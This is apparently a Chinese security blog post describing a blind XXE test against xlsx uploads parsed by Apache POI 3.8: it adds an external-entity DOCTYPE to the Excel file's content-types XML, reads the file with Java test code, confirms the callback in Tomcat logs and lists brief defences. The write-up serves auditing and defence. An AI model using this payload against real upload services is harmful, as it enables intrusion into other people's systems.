最近在審計某銀行的Java代碼時,發現許多上傳Excel文件的接口,允許后綴是xslx文件,xslx文件是由xml文件組成的,可以改成.zip的文件后綴名進行解壓,所以如果如果沒有禁用外部實體,會存在XXE漏洞。下面的測試使用Java語言進行blind-xxe測試。
1、測試環境
解析Excel文件:poi-3.8。
因為測試沒有會先,所以利用Spring Boot搭建測試網站,查看日志是否有觸發漏洞。
2、修改xslx
利用360壓縮打開xslx文件,找到Content_Types.xml文件,添加外部實體如下:
實體的值:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://127.0.0.1/test.dtd"> ]>
<x>&xxe;</x>
3、測試代碼(讀取Excel文件)
package com.itkim.tool;
import org.apache.poi.xssf.usermodel.XSSFRow;
import org.apache.poi.xssf.usermodel.XSSFSheet;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
import java.io.FileInputStream;
/**
* @description: 讀取Excel文件
* @author: KimJun
* @date: 19.10.5 23:27
*/
public class ExcelData {
private XSSFSheet sheet;
/**
* 構造函數,初始化excel數據
*
* @param filePath excel路徑
* @param sheetName sheet表名
*/
ExcelData(String filePath, String sheetName) throws Exception {
FileInputStream fileInputStream = null;
fileInputStream = new FileInputStream(filePath);
XSSFWorkbook sheets = new XSSFWorkbook(fileInputStream);
//獲取sheet
sheet = sheets.getSheet(sheetName);
}
//打印excel數據
public void readExcelData() {
//獲取行數
int rows = sheet.getPhysicalNumberOfRows();
for (int i = 0; i < rows; i++) {
//獲取列數
XSSFRow row = sheet.getRow(i);
int columns = row.getPhysicalNumberOfCells();
for (int j = 0; j < columns; j++) {
String cell = row.getCell(j).toString();
System.out.println(cell);
}
}
}
//測試方法
public static void main(String[] args) throws Exception {
ExcelData sheet1 = new ExcelData("C:\\Users\\I\\Desktop\\test3.xlsx", "Sheet1");
sheet1.readExcelData();
}
}
4、測試
在我們的resources/static目錄寫一個test.dtd文件,啟動我們的Tomcat服務器,因為我們使用的是Spring Boot內置的Tomcat,所以我們需要在application.properproperties中設置生成日志文件的位置,然后就可以啟動服務器了。
server.port=8080
server.tomcat.accesslog.enabled=true
server.tomcat.accesslog.suffix=.log
server.tomcat.accesslog.prefix=access_log
server.tomcat.accesslog.file-date-format=.yyyy-MM-dd
server.tomcat.basedir=Z:\\springboot-tomcat-log
server.tomcat.accesslog.directory=logs
logging.level.org.apache.tomcat=DEBUG
logging.level.org.apache.catalina=DEBUG
跑一下我們的讀取Excel的程序,查看Tomcat的日志如下:
可以看到Tomcat接收到請求,證明存在XXE漏洞。
5、防御
- 禁用外部實體注入
- 升級較新的jar包,進行代碼審計工作